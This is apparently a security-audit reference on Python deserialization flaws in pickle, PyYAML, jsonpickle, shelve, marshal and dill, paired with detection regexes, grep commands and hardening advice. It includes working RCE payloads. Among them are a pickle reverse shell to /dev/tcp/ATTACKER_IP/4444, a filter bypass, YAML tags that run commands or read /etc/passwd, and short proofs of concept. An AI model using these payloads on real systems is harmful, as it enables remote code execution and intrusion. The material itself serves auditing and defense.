# Python Deserialization Deep Dive

> Python Deserialization Vulnerability Deep Audit Module
> Covers: Pickle, PyYAML, jsonpickle, shelve, marshal, dill

---

## Overview

Python deserialization vulnerabilities are among the most severe security risks, directly leading to RCE. Unlike Java which requires complex Gadget chains, Python's `__reduce__` mechanism makes exploitation extremely simple.

---

## Pickle Deep Dive

### 1. Core Principle

```python
# Pickle protocol core: __reduce__ magic method
# Automatically called during deserialization, returns (callable, args) tuple

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('whoami',))

# During serialization: pickle.dumps(Exploit())
# During deserialization: os.system('whoami') is executed
```

### 2. Pickle Opcode Analysis

```
Important opcodes (Protocol 0-4):
c - GLOBAL: import module.function (c os\nsystem\n)
R - REDUCE: call top-of-stack function
i - INST: instantiate class
o - OBJ: build object
b - BUILD: call __setstate__
( - MARK: mark start
t - TUPLE: create tuple
] - EMPTY_LIST: empty list
} - EMPTY_DICT: empty dictionary
. - STOP: end

# Protocol 4 additions:
\x8c - SHORT_BINUNICODE
\x94 - MEMOIZE
\x95 - FRAME
```

### 3. Payload Variants

```python
# Basic RCE
class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

# Reverse Shell
class ReverseShell:
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen, ([
            '/bin/bash', '-c',
            'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
        ],))

# File Write
class WriteFile:
    def __reduce__(self):
        return (eval, ("open('/tmp/pwned','w').write('hacked')",))

# Multi-command Execution
class MultiCmd:
    def __reduce__(self):
        return (eval, ("__import__('os').system('id') or __import__('os').system('whoami')",))

# Bypass Simple Filters
class Bypass:
    def __reduce__(self):
        # Use getattr to bypass direct reference
        return (getattr, (__import__('os'), 'system'), ('id',))

# Exploit __setstate__
class SetStateExploit:
    def __reduce__(self):
        return (self.__class__, ())

    def __setstate__(self, state):
        import os
        os.system('id')
```

### 4. Detection Rules

```regex
# High-risk functions
pickle\.loads?\s*\(
pickle\.Unpickler\s*\(
_pickle\.loads?\s*\(
cPickle\.loads?\s*\(

# Dangerous patterns
pickle\.(loads?|Unpickler).*request\.|\.data|\.body|\.content
pickle\.(loads?|Unpickler).*open\(|file\(|\.read\(\)

# Network received data deserialization
socket.*recv.*pickle\.loads
request\.(data|body|content).*pickle

# Redis/cache deserialization
redis\.get.*pickle\.loads
cache\.get.*pickle\.loads
```

### 5. Security Bypass Techniques

```python
# Bypass find_class restrictions
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"global '{module}.{name}' is forbidden")

# Bypass method 1: use __builtin__ (Python 2) or builtins
# c__builtin__\neval\n

# Bypass method 2: exploit properties of allowed classes
# If collections.OrderedDict is allowed, may reach dangerous functions through its property chain

# Bypass method 3: exploit reducers registered in copyreg
import copyreg
# Check exploitable entries in copyreg.dispatch_table
```

---

## PyYAML Deep Dive

### 1. Version Differences

```yaml
# PyYAML < 5.1: insecure by default
yaml.load(data)  # Direct RCE

# PyYAML >= 5.1: must specify Loader
yaml.load(data, Loader=yaml.Loader)        # Insecure
yaml.load(data, Loader=yaml.FullLoader)    # Partially safe, still has risks
yaml.load(data, Loader=yaml.UnsafeLoader)  # Insecure
yaml.safe_load(data)                        # Safe
```

### 2. YAML Tag Exploitation

```yaml
# Python object instantiation
!!python/object:__main__.MyClass
  attr: value

# Function call (< 5.1)
!!python/object/apply:os.system
  args: ['id']

# New instance (< 5.1)
!!python/object/new:os.system
  args: ['id']

# subprocess call
!!python/object/apply:subprocess.check_output
  args: [['id']]

# Get output
!!python/object/apply:subprocess.check_output
  args:
    - ['cat', '/etc/passwd']

# Execute via tuple
!!python/object/new:tuple
  - !!python/object/apply:os.system
    - 'id'
```

### 3. FullLoader Bypass (CVE-2020-1747)

```yaml
# PyYAML 5.1 - 5.3.1 FullLoader still exploitable
!!python/object/apply:os.system ["id"]

# Via extend method
!!python/object/apply:list.extend
  - []
  - !!python/object/apply:os.system ["id"]
```

### 4. Detection Rules

```regex
# Dangerous loading
yaml\.load\s*\([^)]*\)(?!\s*,\s*Loader\s*=\s*yaml\.SafeLoader)
yaml\.load\s*\(.*Loader\s*=\s*yaml\.(Loader|FullLoader|UnsafeLoader)

# Dangerous tag detection (input validation)
!!\s*python/(object|module|name|apply|new)
```

---

## jsonpickle Deep Dive

### 1. Exploitation Methods

```python
import jsonpickle

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

# Serialize
payload = jsonpickle.encode(Exploit())
# {"py/reduce": [{"py/function": "nt.system"}, {"py/tuple": ["id"]}]}

# Manually construct payload
malicious_json = '''
{
    "py/reduce": [
        {"py/function": "subprocess.check_output"},
        {"py/tuple": [["id"]]}
    ]
}
'''

# Deserialization trigger
jsonpickle.decode(malicious_json)
```

### 2. Detection Rules

```regex
jsonpickle\.decode\s*\(
jsonpickle\.unpickler\.Unpickler

# JSON content detection
"py/reduce"|"py/object"|"py/function"
```

---

## shelve Module

### 1. Exploitation Methods

```python
import shelve

# shelve uses pickle internally
db = shelve.open('data.db')

# If the db file can be controlled by an attacker
# Auto-deserializes on read
value = db['key']  # Triggers pickle.loads
```

### 2. Detection Rules

```regex
shelve\.open\s*\(.*request|user|input
shelve\.open\s*\(.*\.GET|\.POST|\.data
```

---

## marshal Module

### 1. Exploitation Methods

```python
import marshal
import types

# marshal is used to serialize code objects
# Can be used to execute arbitrary code

# Create malicious code object
code = compile("__import__('os').system('id')", "<string>", "exec")
payload = marshal.dumps(code)

# Deserialize and execute
code_obj = marshal.loads(payload)
exec(code_obj)  # RCE
```

### 2. Detection Rules

```regex
marshal\.loads?\s*\(
types\.FunctionType\s*\(.*marshal
```

---

## dill Module (Extended Pickle)

### 1. Exploitation Methods

```python
import dill

# dill can serialize lambdas, closures, etc.
# Same __reduce__ vulnerability exists

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = dill.dumps(Exploit())
dill.loads(payload)  # RCE
```

### 2. Detection Rules

```regex
dill\.loads?\s*\(
dill\.Unpickler\s*\(
```

---

## Framework-Specific Vulnerabilities

### Django Session (Pickle)

```python
# settings.py
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
# Dangerous! If SECRET_KEY is leaked, sessions can be forged for RCE

# Detection rule
SESSION_SERIALIZER.*PickleSerializer
```

### Flask Session (itsdangerous)

```python
# Flask uses itsdangerous for signing by default
# If SECRET_KEY is leaked, sessions can be forged

# Detect hardcoded SECRET_KEY
app.secret_key = 'hardcoded_key'
SECRET_KEY = 'weak_key'
```

### Celery (pickle serialization)

```python
# Celery uses pickle serialization for task parameters by default
# If message queue is accessible, malicious tasks can be injected

# celeryconfig.py
CELERY_TASK_SERIALIZER = 'pickle'  # Dangerous
CELERY_ACCEPT_CONTENT = ['pickle']  # Dangerous

# Secure configuration
CELERY_TASK_SERIALIZER = 'json'
CELERY_ACCEPT_CONTENT = ['json']
```

### Redis/Memcached

```python
# Using pickle to cache objects
cache.set('key', pickle.dumps(obj))
obj = pickle.loads(cache.get('key'))

# If cache can be poisoned, can lead to RCE
```

---

## Defense and Security Practices

### 1. Disable Pickle

```python
# Use JSON instead
import json
data = json.loads(user_input)

# Use yaml.safe_load
import yaml
data = yaml.safe_load(user_input)
```

### 2. Signature Verification

```python
import hmac
import pickle

SECRET_KEY = b'secure_random_key'

def secure_dumps(obj):
    data = pickle.dumps(obj)
    sig = hmac.new(SECRET_KEY, data, 'sha256').hexdigest()
    return data, sig

def secure_loads(data, sig):
    expected = hmac.new(SECRET_KEY, data, 'sha256').hexdigest()
    if not hmac.compare_digest(sig, expected):
        raise ValueError("Invalid signature")
    return pickle.loads(data)
```

### 3. Restricted Unpickler

```python
import pickle
import io

SAFE_MODULES = {'collections', 'datetime'}
SAFE_NAMES = {'OrderedDict', 'datetime', 'date'}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in SAFE_MODULES and name in SAFE_NAMES:
            return super().find_class(module, name)
        raise pickle.UnpicklingError(
            f"global '{module}.{name}' is forbidden"
        )

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()
```

---

## Audit Checklist

```
[ ] Search for all pickle.loads/load calls
[ ] Check if data source is controllable
[ ] Check if signature verification exists
[ ] Search for yaml.load calls, confirm Loader type
[ ] Check jsonpickle.decode calls
[ ] Check shelve/marshal/dill usage
[ ] Check Django SESSION_SERIALIZER configuration
[ ] Check Celery TASK_SERIALIZER configuration
[ ] Check Redis/Memcached cache serialization method
[ ] Check if SECRET_KEY is hardcoded or leaked
```

---

## Detection Commands

```bash
# Pickle detection
grep -rn "pickle\.\(loads\?\|Unpickler\)" --include="*.py"

# YAML detection
grep -rn "yaml\.load\s*(" --include="*.py" | grep -v "safe_load\|SafeLoader"

# jsonpickle detection
grep -rn "jsonpickle\.decode" --include="*.py"

# Comprehensive detection
grep -rn "pickle\|yaml\.load\|jsonpickle\|shelve\|marshal\.loads\|dill" --include="*.py"

# Django session detection
grep -rn "PickleSerializer\|SESSION_SERIALIZER" --include="*.py"

# Celery configuration detection
grep -rn "CELERY_TASK_SERIALIZER\|CELERY_ACCEPT_CONTENT" --include="*.py"
```

---

## Minimal PoC Examples
```bash
# Pickle RCE
python - <<'PY'
import pickle,os
class P(object):
    def __reduce__(self):
        return (os.system,("id",))
print(pickle.dumps(P()))
PY

# PyYAML unsafe load
python - <<'PY'
import yaml
print(yaml.load("!!python/object/apply:os.system ['id']", Loader=yaml.UnsafeLoader))
PY
```

---

## Reference Resources

- [Pickle Security](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)
- [PyYAML Deserialization](https://blog.nelhage.com/2020/05/exploiting-pyyaml/)
- [Python Deserialization Attack](https://www.exploit-db.com/docs/english/47655-python-deserialization-attack.pdf)

---

**Last Updated**: 2026-01-23
**Version**: 1.0.0
